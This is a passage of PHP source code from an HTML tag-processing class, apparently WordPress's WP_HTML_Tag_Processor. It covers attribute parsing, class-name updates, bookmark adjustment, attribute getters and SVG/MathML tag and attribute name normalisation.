			 *
			 * This parser classifies these particular comments as special "funky comments"
			 * which are made available for further processing.
			 *
			 * See https://html.spec.whatwg.org/#parse-error-invalid-first-character-of-tag-name
			 */
			if ( $this->is_closing_tag ) {
				// No chance of finding a closer.
				if ( $at + 3 > $doc_length ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$closer_at = strpos( $html, '>', $at + 2 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_FUNKY_COMMENT;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;
				return true;
			}

			++$at;
		}

		/*
		 * This does not imply an incomplete parse; it indicates that there
		 * can be nothing left in the document other than a #text node.
		 */
		$this->parser_state         = self::STATE_TEXT_NODE;
		$this->token_starts_at      = $was_at;
		$this->token_length         = $doc_length - $was_at;
		$this->text_starts_at       = $was_at;
		$this->text_length          = $this->token_length;
		$this->bytes_already_parsed = $doc_length;
		return true;
	}

	/**
	 * Parses the next attribute.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether an attribute was found before the end of the document.
	 */
	private function parse_next_attribute(): bool {
		$doc_length = strlen( $this->html );

		// Skip whitespace and slashes.
		$this->bytes_already_parsed += strspn( $this->html, " \t\f\r\n/", $this->bytes_already_parsed );
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		/*
		 * Treat the equal sign as a part of the attribute
		 * name if it is the first encountered byte.
		 *
		 * @see https://html.spec.whatwg.org/multipage/parsing.html#before-attribute-name-state
		 */
		$name_length = '=' === $this->html[ $this->bytes_already_parsed ]
			? 1 + strcspn( $this->html, "=/> \t\f\r\n", $this->bytes_already_parsed + 1 )
			: strcspn( $this->html, "=/> \t\f\r\n", $this->bytes_already_parsed );

		// No attribute, just tag closer.
		if ( 0 === $name_length || $this->bytes_already_parsed + $name_length >= $doc_length ) {
			return false;
		}

		$attribute_start             = $this->bytes_already_parsed;
		$attribute_name              = substr( $this->html, $attribute_start, $name_length );
		$this->bytes_already_parsed += $name_length;
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		$this->skip_whitespace();
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		$has_value = '=' === $this->html[ $this->bytes_already_parsed ];
		if ( $has_value ) {
			++$this->bytes_already_parsed;
			$this->skip_whitespace();
			if ( $this->bytes_already_parsed >= $doc_length ) {
				$this->parser_state = self::STATE_INCOMPLETE_INPUT;

				return false;
			}

			switch ( $this->html[ $this->bytes_already_parsed ] ) {
				case "'":
				case '"':
					$quote                      = $this->html[ $this->bytes_already_parsed ];
					$value_start                = $this->bytes_already_parsed + 1;
					$end_quote_at               = strpos( $this->html, $quote, $value_start );
					$end_quote_at               = false === $end_quote_at ? $doc_length : $end_quote_at;
					$value_length               = $end_quote_at - $value_start;
					$attribute_end              = $end_quote_at + 1;
					$this->bytes_already_parsed = $attribute_end;
					break;

				default:
					$value_start                = $this->bytes_already_parsed;
					$value_length               = strcspn( $this->html, "> \t\f\r\n", $value_start );
					$attribute_end              = $value_start + $value_length;
					$this->bytes_already_parsed = $attribute_end;
			}
		} else {
			$value_start   = $this->bytes_already_parsed;
			$value_length  = 0;
			$attribute_end = $attribute_start + $name_length;
		}

		if ( $attribute_end >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		if ( $this->is_closing_tag ) {
			return true;
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$comparable_name = strtolower( $attribute_name );

		// If an attribute is listed many times, only use the first declaration and ignore the rest.
		if ( ! isset( $this->attributes[ $comparable_name ] ) ) {
			$this->attributes[ $comparable_name ] = new WP_HTML_Attribute_Token(
				$attribute_name,
				$value_start,
				$value_length,
				$attribute_start,
				$attribute_end - $attribute_start,
				! $has_value
			);

			return true;
		}

		/*
		 * Track the duplicate attributes so if we remove it, all disappear together.
		 *
		 * While `$this->duplicated_attributes` could always be stored as an `array()`,
		 * which would simplify the logic here, storing a `null` and only allocating
		 * an array when encountering duplicates avoids needless allocations in the
		 * normative case of parsing tags with no duplicate attributes.
		 */
		$duplicate_span = new WP_HTML_Span( $attribute_start, $attribute_end - $attribute_start );
		if ( null === $this->duplicate_attributes ) {
			$this->duplicate_attributes = array( $comparable_name => array( $duplicate_span ) );
		} elseif ( ! isset( $this->duplicate_attributes[ $comparable_name ] ) ) {
			$this->duplicate_attributes[ $comparable_name ] = array( $duplicate_span );
		} else {
			$this->duplicate_attributes[ $comparable_name ][] = $duplicate_span;
		}

		return true;
	}

	/**
	 * Move the internal cursor past any immediate successive whitespace.
	 *
	 * @since 6.2.0
	 */
	private function skip_whitespace(): void {
		$this->bytes_already_parsed += strspn( $this->html, " \t\f\r\n", $this->bytes_already_parsed );
	}

	/**
	 * Applies attribute updates and cleans up once a tag is fully parsed.
	 *
	 * @since 6.2.0
	 */
	private function after_tag(): void {
		/*
		 * There could be lexical updates enqueued for an attribute that
		 * also exists on the next tag. In order to avoid conflating the
		 * attributes across the two tags, lexical updates with names
		 * need to be flushed to raw lexical updates.
		 */
		$this->class_name_updates_to_attributes_updates();

		/*
		 * Purge updates if there are too many. The actual count isn't
		 * scientific, but a few values from 100 to a few thousand were
		 * tests to find a practically-useful limit.
		 *
		 * If the update queue grows too big, then the Tag Processor
		 * will spend more time iterating through them and lose the
		 * efficiency gains of deferring applying them.
		 */
		if ( 1000 < count( $this->lexical_updates ) ) {
			$this->get_updated_html();
		}

		foreach ( $this->lexical_updates as $name => $update ) {
			/*
			 * Any updates appearing after the cursor should be applied
			 * before proceeding, otherwise they may be overlooked.
			 */
			if ( $update->start >= $this->bytes_already_parsed ) {
				$this->get_updated_html();
				break;
			}

			if ( is_int( $name ) ) {
				continue;
			}

			$this->lexical_updates[] = $update;
			unset( $this->lexical_updates[ $name ] );
		}

		$this->token_starts_at          = null;
		$this->token_length             = null;
		$this->tag_name_starts_at       = null;
		$this->tag_name_length          = null;
		$this->text_starts_at           = 0;
		$this->text_length              = 0;
		$this->is_closing_tag           = null;
		$this->attributes               = array();
		$this->comment_type             = null;
		$this->text_node_classification = self::TEXT_IS_GENERIC;
		$this->duplicate_attributes     = null;
	}

	/**
	 * Converts class name updates into tag attributes updates
	 * (they are accumulated in different data formats for performance).
	 *
	 * @since 6.2.0
	 *
	 * @see WP_HTML_Tag_Processor::$lexical_updates
	 * @see WP_HTML_Tag_Processor::$classname_updates
	 */
	private function class_name_updates_to_attributes_updates(): void {
		if ( count( $this->classname_updates ) === 0 ) {
			return;
		}

		$existing_class = $this->get_enqueued_attribute_value( 'class' );
		if ( null === $existing_class || true === $existing_class ) {
			$existing_class = '';
		}

		if ( false === $existing_class && isset( $this->attributes['class'] ) ) {
			$existing_class = WP_HTML_Decoder::decode_attribute(
				substr(
					$this->html,
					$this->attributes['class']->value_starts_at,
					$this->attributes['class']->value_length
				)
			);
		}

		if ( false === $existing_class ) {
			$existing_class = '';
		}

		/**
		 * Updated "class" attribute value.
		 *
		 * This is incrementally built while scanning through the existing class
		 * attribute, skipping removed classes on the way, and then appending
		 * added classes at the end. Only when finished processing will the
		 * value contain the final new value.

		 * @var string $class
		 */
		$class = '';

		/**
		 * Tracks the cursor position in the existing
		 * class attribute value while parsing.
		 *
		 * @var int $at
		 */
		$at = 0;

		/**
		 * Indicates if there's any need to modify the existing class attribute.
		 *
		 * If a call to `add_class()` and `remove_class()` wouldn't impact
		 * the `class` attribute value then there's no need to rebuild it.
		 * For example, when adding a class that's already present or
		 * removing one that isn't.
		 *
		 * This flag enables a performance optimization when none of the enqueued
		 * class updates would impact the `class` attribute; namely, that the
		 * processor can continue without modifying the input document, as if
		 * none of the `add_class()` or `remove_class()` calls had been made.
		 *
		 * This flag is set upon the first change that requires a string update.
		 *
		 * @var bool $modified
		 */
		$modified = false;

		$seen      = array();
		$to_remove = array();
		$is_quirks = self::QUIRKS_MODE === $this->compat_mode;
		if ( $is_quirks ) {
			foreach ( $this->classname_updates as $updated_name => $action ) {
				if ( self::REMOVE_CLASS === $action ) {
					$to_remove[] = strtolower( $updated_name );
				}
			}
		} else {
			foreach ( $this->classname_updates as $updated_name => $action ) {
				if ( self::REMOVE_CLASS === $action ) {
					$to_remove[] = $updated_name;
				}
			}
		}

		// Remove unwanted classes by only copying the new ones.
		$existing_class_length = strlen( $existing_class );
		while ( $at < $existing_class_length ) {
			// Skip to the first non-whitespace character.
			$ws_at     = $at;
			$ws_length = strspn( $existing_class, " \t\f\r\n", $ws_at );
			$at       += $ws_length;

			// Capture the class name – it's everything until the next whitespace.
			$name_length = strcspn( $existing_class, " \t\f\r\n", $at );
			if ( 0 === $name_length ) {
				// If no more class names are found then that's the end.
				break;
			}

			$name                  = substr( $existing_class, $at, $name_length );
			$comparable_class_name = $is_quirks ? strtolower( $name ) : $name;
			$at                   += $name_length;

			// If this class is marked for removal, remove it and move on to the next one.
			if ( in_array( $comparable_class_name, $to_remove, true ) ) {
				$modified = true;
				continue;
			}

			// If a class has already been seen then skip it; it should not be added twice.
			if ( in_array( $comparable_class_name, $seen, true ) ) {
				continue;
			}

			$seen[] = $comparable_class_name;

			/*
			 * Otherwise, append it to the new "class" attribute value.
			 *
			 * There are options for handling whitespace between tags.
			 * Preserving the existing whitespace produces fewer changes
			 * to the HTML content and should clarify the before/after
			 * content when debugging the modified output.
			 *
			 * This approach contrasts normalizing the inter-class
			 * whitespace to a single space, which might appear cleaner
			 * in the output HTML but produce a noisier change.
			 */
			if ( '' !== $class ) {
				$class .= substr( $existing_class, $ws_at, $ws_length );
			}
			$class .= $name;
		}

		// Add new classes by appending those which haven't already been seen.
		foreach ( $this->classname_updates as $name => $operation ) {
			$comparable_name = $is_quirks ? strtolower( $name ) : $name;
			if ( self::ADD_CLASS === $operation && ! in_array( $comparable_name, $seen, true ) ) {
				$modified = true;

				$class .= strlen( $class ) > 0 ? ' ' : '';
				$class .= $name;
			}
		}

		$this->classname_updates = array();
		if ( ! $modified ) {
			return;
		}

		if ( strlen( $class ) > 0 ) {
			$this->set_attribute( 'class', $class );
		} else {
			$this->remove_attribute( 'class' );
		}
	}

	/**
	 * Applies attribute updates to HTML document.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Accumulates shift for internal cursor and passed pointer.
	 * @since 6.3.0 Invalidate any bookmarks whose targets are overwritten.
	 *
	 * @param int $shift_this_point Accumulate and return shift for this position.
	 * @return int How many bytes the given pointer moved in response to the updates.
	 */
	private function apply_attributes_updates( int $shift_this_point ): int {
		if ( ! count( $this->lexical_updates ) ) {
			return 0;
		}

		$accumulated_shift_for_given_point = 0;

		/*
		 * Attribute updates can be enqueued in any order but updates
		 * to the document must occur in lexical order; that is, each
		 * replacement must be made before all others which follow it
		 * at later string indices in the input document.
		 *
		 * Sorting avoid making out-of-order replacements which
		 * can lead to mangled output, partially-duplicated
		 * attributes, and overwritten attributes.
		 */
		usort( $this->lexical_updates, array( self::class, 'sort_start_ascending' ) );

		$bytes_already_copied = 0;
		$output_buffer        = '';
		foreach ( $this->lexical_updates as $diff ) {
			$shift = strlen( $diff->text ) - $diff->length;

			// Adjust the cursor position by however much an update affects it.
			if ( $diff->start < $this->bytes_already_parsed ) {
				$this->bytes_already_parsed += $shift;
			}

			// Accumulate shift of the given pointer within this function call.
			if ( $diff->start < $shift_this_point ) {
				$accumulated_shift_for_given_point += $shift;
			}

			$output_buffer       .= substr( $this->html, $bytes_already_copied, $diff->start - $bytes_already_copied );
			$output_buffer       .= $diff->text;
			$bytes_already_copied = $diff->start + $diff->length;
		}

		$this->html = $output_buffer . substr( $this->html, $bytes_already_copied );

		/*
		 * Adjust bookmark locations to account for how the text
		 * replacements adjust offsets in the input document.
		 */
		foreach ( $this->bookmarks as $bookmark_name => $bookmark ) {
			$bookmark_end = $bookmark->start + $bookmark->length;

			/*
			 * Each lexical update which appears before the bookmark's endpoints
			 * might shift the offsets for those endpoints. Loop through each change
			 * and accumulate the total shift for each bookmark, then apply that
			 * shift after tallying the full delta.
			 */
			$head_delta = 0;
			$tail_delta = 0;

			foreach ( $this->lexical_updates as $diff ) {
				$diff_end = $diff->start + $diff->length;

				if ( $bookmark->start < $diff->start && $bookmark_end < $diff->start ) {
					break;
				}

				if ( $bookmark->start >= $diff->start && $bookmark_end < $diff_end ) {
					$this->release_bookmark( $bookmark_name );
					continue 2;
				}

				$delta = strlen( $diff->text ) - $diff->length;

				if ( $bookmark->start >= $diff->start ) {
					$head_delta += $delta;
				}

				if ( $bookmark_end >= $diff_end ) {
					$tail_delta += $delta;
				}
			}

			$bookmark->start  += $head_delta;
			$bookmark->length += $tail_delta - $head_delta;
		}

		$this->lexical_updates = array();

		return $accumulated_shift_for_given_point;
	}

	/**
	 * Checks whether a bookmark with the given name exists.
	 *
	 * @since 6.3.0
	 *
	 * @param string $bookmark_name Name to identify a bookmark that potentially exists.
	 * @return bool Whether that bookmark exists.
	 */
	public function has_bookmark( $bookmark_name ): bool {
		return array_key_exists( $bookmark_name, $this->bookmarks );
	}

	/**
	 * Move the internal cursor in the Tag Processor to a given bookmark's location.
	 *
	 * In order to prevent accidental infinite loops, there's a
	 * maximum limit on the number of times seek() can be called.
	 *
	 * @since 6.2.0
	 *
	 * @param string $bookmark_name Jump to the place in the document identified by this bookmark name.
	 * @return bool Whether the internal cursor was successfully moved to the bookmark's location.
	 */
	public function seek( $bookmark_name ): bool {
		if ( ! array_key_exists( $bookmark_name, $this->bookmarks ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Unknown bookmark name.' ),
				'6.2.0'
			);
			return false;
		}

		$existing_bookmark = $this->bookmarks[ $bookmark_name ];

		if (
			$this->token_starts_at === $existing_bookmark->start &&
			$this->token_length === $existing_bookmark->length
		) {
			return true;
		}

		if ( ++$this->seek_count > static::MAX_SEEK_OPS ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Too many calls to seek() - this can lead to performance issues.' ),
				'6.2.0'
			);
			return false;
		}

		// Flush out any pending updates to the document.
		$this->get_updated_html();

		// Point this tag processor before the sought tag opener and consume it.
		$this->bytes_already_parsed = $this->bookmarks[ $bookmark_name ]->start;
		$this->parser_state         = self::STATE_READY;
		return $this->next_token();
	}

	/**
	 * Compare two WP_HTML_Text_Replacement objects.
	 *
	 * @since 6.2.0
	 *
	 * @param WP_HTML_Text_Replacement $a First attribute update.
	 * @param WP_HTML_Text_Replacement $b Second attribute update.
	 * @return int Comparison value for string order.
	 */
	private static function sort_start_ascending( WP_HTML_Text_Replacement $a, WP_HTML_Text_Replacement $b ): int {
		$by_start = $a->start - $b->start;
		if ( 0 !== $by_start ) {
			return $by_start;
		}

		$by_text = isset( $a->text, $b->text ) ? strcmp( $a->text, $b->text ) : 0;
		if ( 0 !== $by_text ) {
			return $by_text;
		}

		/*
		 * This code should be unreachable, because it implies the two replacements
		 * start at the same location and contain the same text.
		 */
		return $a->length - $b->length;
	}

	/**
	 * Return the enqueued value for a given attribute, if one exists.
	 *
	 * Enqueued updates can take different data types:
	 *  - If an update is enqueued and is boolean, the return will be `true`
	 *  - If an update is otherwise enqueued, the return will be the string value of that update.
	 *  - If an attribute is enqueued to be removed, the return will be `null` to indicate that.
	 *  - If no updates are enqueued, the return will be `false` to differentiate from "removed."
	 *
	 * @since 6.2.0
	 *
	 * @param string $comparable_name The attribute name in its comparable form.
	 * @return string|boolean|null Value of enqueued update if present, otherwise false.
	 */
	private function get_enqueued_attribute_value( string $comparable_name ) {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		if ( ! isset( $this->lexical_updates[ $comparable_name ] ) ) {
			return false;
		}

		$enqueued_text = $this->lexical_updates[ $comparable_name ]->text;

		// Removed attributes erase the entire span.
		if ( '' === $enqueued_text ) {
			return null;
		}

		/*
		 * Boolean attribute updates are just the attribute name without a corresponding value.
		 *
		 * This value might differ from the given comparable name in that there could be leading
		 * or trailing whitespace, and that the casing follows the name given in `set_attribute`.
		 *
		 * Example:
		 *
		 *     $p->set_attribute( 'data-TEST-id', 'update' );
		 *     'update' === $p->get_enqueued_attribute_value( 'data-test-id' );
		 *
		 * Detect this difference based on the absence of the `=`, which _must_ exist in any
		 * attribute containing a value, e.g. `<input type="text" enabled />`.
		 *                                            ¹           ²
		 *                                       1. Attribute with a string value.
		 *                                       2. Boolean attribute whose value is `true`.
		 */
		$equals_at = strpos( $enqueued_text, '=' );
		if ( false === $equals_at ) {
			return true;
		}

		/*
		 * Finally, a normal update's value will appear after the `=` and
		 * be double-quoted, as performed incidentally by `set_attribute`.
		 *
		 * e.g. `type="text"`
		 *           ¹²    ³
		 *        1. Equals is here.
		 *        2. Double-quoting starts one after the equals sign.
		 *        3. Double-quoting ends at the last character in the update.
		 */
		$enqueued_value = substr( $enqueued_text, $equals_at + 2, -1 );
		return WP_HTML_Decoder::decode_attribute( $enqueued_value );
	}

	/**
	 * Returns the value of a requested attribute from a matched tag opener if that attribute exists.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div enabled class="test" data-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute( 'data-test-id' ) === '14';
	 *     $p->get_attribute( 'enabled' ) === true;
	 *     $p->get_attribute( 'aria-label' ) === null;
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute( 'class' ) === null;
	 *
	 * @since 6.2.0
	 *
	 * @param string $name Name of attribute whose value is requested.
	 * @return string|true|null Value of attribute or `null` if not available. Boolean attributes return `true`.
	 */
	public function get_attribute( $name ) {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$comparable = strtolower( $name );

		/*
		 * For every attribute other than `class` it's possible to perform a quick check if
		 * there's an enqueued lexical update whose value takes priority over what's found in
		 * the input document.
		 *
		 * The `class` attribute is special though because of the exposed helpers `add_class`
		 * and `remove_class`. These form a builder for the `class` attribute, so an additional
		 * check for enqueued class changes is required in addition to the check for any enqueued
		 * attribute values. If any exist, those enqueued class changes must first be flushed out
		 * into an attribute value update.
		 */
		if ( 'class' === $name ) {
			$this->class_name_updates_to_attributes_updates();
		}

		// Return any enqueued attribute value updates if they exist.
		$enqueued_value = $this->get_enqueued_attribute_value( $comparable );
		if ( false !== $enqueued_value ) {
			return $enqueued_value;
		}

		if ( ! isset( $this->attributes[ $comparable ] ) ) {
			return null;
		}

		$attribute = $this->attributes[ $comparable ];

		/*
		 * This flag distinguishes an attribute with no value
		 * from an attribute with an empty string value. For
		 * unquoted attributes this could look very similar.
		 * It refers to whether an `=` follows the name.
		 *
		 * e.g. <div boolean-attribute empty-attribute=></div>
		 *           ¹                 ²
		 *        1. Attribute `boolean-attribute` is `true`.
		 *        2. Attribute `empty-attribute` is `""`.
		 */
		if ( true === $attribute->is_true ) {
			return true;
		}

		$raw_value = substr( $this->html, $attribute->value_starts_at, $attribute->value_length );

		return WP_HTML_Decoder::decode_attribute( $raw_value );
	}

	/**
	 * Gets lowercase names of all attributes matching a given prefix in the current tag.
	 *
	 * Note that matching is case-insensitive. This is in accordance with the spec:
	 *
	 * > There must never be two or more attributes on
	 * > the same start tag whose names are an ASCII
	 * > case-insensitive match for each other.
	 *     - HTML 5 spec
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div data-ENABLED class="test" DATA-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === array( 'data-enabled', 'data-test-id' );
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === null;
	 *
	 * @since 6.2.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
	 *
	 * @param string $prefix Prefix of requested attribute names.
	 * @return array|null List of attribute names, or `null` when no tag opener is matched.
	 */
	public function get_attribute_names_with_prefix( $prefix ): ?array {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return null;
		}

		$comparable = strtolower( $prefix );

		$matches = array();
		foreach ( array_keys( $this->attributes ) as $attr_name ) {
			if ( str_starts_with( $attr_name, $comparable ) ) {
				$matches[] = $attr_name;
			}
		}
		return $matches;
	}

	/**
	 * Returns the namespace of the matched token.
	 *
	 * @since 6.7.0
	 *
	 * @return string One of 'html', 'math', or 'svg'.
	 */
	public function get_namespace(): string {
		return $this->parsing_namespace;
	}

	/**
	 * Returns the uppercase name of the matched tag.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div class="test">Test</div>' );
	 *     $p->next_tag() === true;
	 *     $p->get_tag() === 'DIV';
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_tag() === null;
	 *
	 * @since 6.2.0
	 *
	 * @return string|null Name of currently matched tag in input HTML, or `null` if none found.
	 */
	public function get_tag(): ?string {
		if ( null === $this->tag_name_starts_at ) {
			return null;
		}

		$tag_name = substr( $this->html, $this->tag_name_starts_at, $this->tag_name_length );

		if ( self::STATE_MATCHED_TAG === $this->parser_state ) {
			return strtoupper( $tag_name );
		}

		if (
			self::STATE_COMMENT === $this->parser_state &&
			self::COMMENT_AS_PI_NODE_LOOKALIKE === $this->get_comment_type()
		) {
			return $tag_name;
		}

		return null;
	}

	/**
	 * Returns the adjusted tag name for a given token, taking into
	 * account the current parsing context, whether HTML, SVG, or MathML.
	 *
	 * @since 6.7.0
	 *
	 * @return string|null Name of current tag name.
	 */
	public function get_qualified_tag_name(): ?string {
		$tag_name = $this->get_tag();
		if ( null === $tag_name ) {
			return null;
		}

		if ( 'html' === $this->get_namespace() ) {
			return $tag_name;
		}

		$lower_tag_name = strtolower( $tag_name );
		if ( 'math' === $this->get_namespace() ) {
			return $lower_tag_name;
		}

		if ( 'svg' === $this->get_namespace() ) {
			switch ( $lower_tag_name ) {
				case 'altglyph':
					return 'altGlyph';

				case 'altglyphdef':
					return 'altGlyphDef';

				case 'altglyphitem':
					return 'altGlyphItem';

				case 'animatecolor':
					return 'animateColor';

				case 'animatemotion':
					return 'animateMotion';

				case 'animatetransform':
					return 'animateTransform';

				case 'clippath':
					return 'clipPath';

				case 'feblend':
					return 'feBlend';

				case 'fecolormatrix':
					return 'feColorMatrix';

				case 'fecomponenttransfer':
					return 'feComponentTransfer';

				case 'fecomposite':
					return 'feComposite';

				case 'feconvolvematrix':
					return 'feConvolveMatrix';

				case 'fediffuselighting':
					return 'feDiffuseLighting';

				case 'fedisplacementmap':
					return 'feDisplacementMap';

				case 'fedistantlight':
					return 'feDistantLight';

				case 'fedropshadow':
					return 'feDropShadow';

				case 'feflood':
					return 'feFlood';

				case 'fefunca':
					return 'feFuncA';

				case 'fefuncb':
					return 'feFuncB';

				case 'fefuncg':
					return 'feFuncG';

				case 'fefuncr':
					return 'feFuncR';

				case 'fegaussianblur':
					return 'feGaussianBlur';

				case 'feimage':
					return 'feImage';

				case 'femerge':
					return 'feMerge';

				case 'femergenode':
					return 'feMergeNode';

				case 'femorphology':
					return 'feMorphology';

				case 'feoffset':
					return 'feOffset';

				case 'fepointlight':
					return 'fePointLight';

				case 'fespecularlighting':
					return 'feSpecularLighting';

				case 'fespotlight':
					return 'feSpotLight';

				case 'fetile':
					return 'feTile';

				case 'feturbulence':
					return 'feTurbulence';

				case 'foreignobject':
					return 'foreignObject';

				case 'glyphref':
					return 'glyphRef';

				case 'lineargradient':
					return 'linearGradient';

				case 'radialgradient':
					return 'radialGradient';

				case 'textpath':
					return 'textPath';

				default:
					return $lower_tag_name;
			}
		}

		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return $tag_name;
	}

	/**
	 * Returns the adjusted attribute name for a given attribute, taking into
	 * account the current parsing context, whether HTML, SVG, or MathML.
	 *
	 * @since 6.7.0
	 *
	 * @param string $attribute_name Which attribute to adjust.
	 *
	 * @return string|null
	 */
	public function get_qualified_attribute_name( $attribute_name ): ?string {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$namespace  = $this->get_namespace();
		$lower_name = strtolower( $attribute_name );

		if ( 'math' === $namespace && 'definitionurl' === $lower_name ) {
			return 'definitionURL';
		}

		if ( 'svg' === $this->get_namespace() ) {
			switch ( $lower_name ) {
				case 'attributename':
					return 'attributeName';

				case 'attributetype':
					return 'attributeType';

				case 'basefrequency':
					return 'baseFrequency';

				case 'baseprofile':
					return 'baseProfile';

				case 'calcmode':
					return 'calcMode';

				case 'clippathunits':
					return 'clipPathUnits';

				case 'diffuseconstant':
					return 'diffuseConstant';

				case 'edgemode':
					return 'edgeMode';

				case 'filterunits':
					return 'filterUnits';

				case 'glyphref':
					return 'glyphRef';

				case 'gradienttransform':
					return 'gradientTransform';

				case 'gradientunits':
					return 'gradientUnits';

				case 'kernelmatrix':
					return 'kernelMatrix';

				case 'kernelunitlength':
					return 'kernelUnitLength';

				case 'keypoints':
					return 'keyPoints';

				case 'keysplines':
					return 'keySplines';

				case 'keytimes':
					return 'keyTimes';

				case 'lengthadjust':
					return 'lengthAdjust';

				case 'limitingconeangle':
					return 'limitingConeAngle';

				case 'markerheight':
					return 'markerHeight';

				case 'markerunits':
					return 'markerUnits';

				case 'markerwidth':
					return 'markerWidth';

				case 'maskcontentunits':
					return 'maskContentUnits';

				case 'maskunits':
					return 'maskUnits';

				case 'numoctaves':
					return 'numOctaves';

				case 'pathlength':
					return 'pathLength';

				case 'patterncontentunits':
					return 'patternContentUnits';

				case 'patterntransform':
					return 'patternTransform';

				case 'patternunits':
					return 'patternUnits';

				case 'pointsatx':
					return 'pointsAtX';

				case 'pointsaty':
					return 'pointsAtY';

				case 'pointsatz':
					return 'pointsAtZ';

				case 'preservealpha':
					return 'preserveAlpha';

				case 'preserveaspectratio':
					return 'preserveAspectRatio';

				case 'primitiveunits':
					return 'primitiveUnits';

				case 'refx':
					return 'refX';

				case 'refy':
					return 'refY';

				case 'repeatcount':
					return 'repeatCount';

				case 'repeatdur':
					return 'repeatDur';

				case 'requiredextensions':
					return 'requiredExtensions';

				case 'requiredfeatures':
					return 'requiredFeatures';

				case 'specularconstant':
					return 'specularConstant';

				case 'specularexponent':
					return 'specularExponent';

				case 'spreadmethod':
					return 'spreadMethod';

				case 'startoffset':
					return 'startOffset';

				case 'stddeviation':
					return 'stdDeviation';

				case 'stitchtiles':
					return 'stitchTiles';

				case 'surfacescale':
					return 'surfaceScale';

				case 'systemlanguage':
					return 'systemLanguage';

				case 'tablevalues':
					return 'tableValues';

				case 'targetx':
					return 'targetX';

				case 'targety':
					return 'targetY';

				case 'textlength':
					return 'textLength';

				case 'viewbox':
					return 'viewBox';

				case 'viewtarget':
					return 'viewTarget';

				case 'xchannelselector':
					return 'xChannelSelector';

				case 'ychannelselector':
					return 'yChannelSelector';

				case 'zoomandpan':
					return 'zoomAndPan';
			}
		}

		if ( 'html' !== $namespace ) {
			switch ( $lower_name ) {
				case 'xlink:actuate':
					return 'xlink actuate';

				case 'xlink:arcrole':
					return 'xlink arcrole';

				case 'xlink:href':
					return 'xlink href';

				case 'xlink:role':
					return 'xlink role';

				case 'xlink:show':
					return 'xlink show';

				case 'xlink:title':
					return 'xlink title';

				case 'xlink:type':
					return 'xlink type';

				case 'xml:lang':
					return 'xml lang';

				case 'xml:space':
					return 'xml space';

				case 'xmlns':
					return 'xmlns';

				case 'xmlns:xlink':
					return 'xmlns xlink';
			}
		}

		return $attribute_name;
	}

	/**
	 * Indicates if the currently matched tag contains the self-closing flag.
	 *
	 * No HTML elements ought to have the self-closing flag and for those, the self-closing
	 * flag will be ignored. For void elements this is benign because they "self close"
	 * automatically. For non-void HTML elements though problems will appear if someone
	 * intends to use a self-closing element in place of that element with an empty body.
	 * For HTML foreign elements and custom elements the self-closing flag determines if
	 * they self-close or not.
	 *
	 * This function does not determine if a tag is self-closing,
	 * but only if the self-closing flag is present in the syntax.
	 *
	 * @since 6.3.0
	 *
	 * @return bool Whether the currently matched tag contains the self-closing flag.
	 */
	public function has_self_closing_flag(): bool {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		/*
		 * The self-closing flag is the solidus at the _end_ of the tag, not the beginning.
		 *
		 * Example:
		 *
		 *     <figure />
		 *             ^ this appears one character before the end of the closing ">".
		 */
		return '/' === $this->html[ $this->token_starts_at + $this->token_length - 2 ];
	}

	/**
	 * Indicates if the current tag token is a tag closer.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div></div>' );
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === false;
	 *
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === true;
	 *
	 * @since 6.2.0
	 * @since 6.7.0 Reports all BR tags as opening tags.
	 *
	 * @return bool Whether the current tag is a tag closer.
	 */
	public function is_tag_closer(): bool {
		return (
			self::STATE_MATCHED_TAG === $this->parser_state &&
			$this->is_closing_tag &&

			/*
			 * The BR tag can only exist as an opening tag. If something like `</br>`
			 * appears then the HTML parser will treat it as an opening tag with no
			 * attributes. The BR tag is unique in this way.
			 *
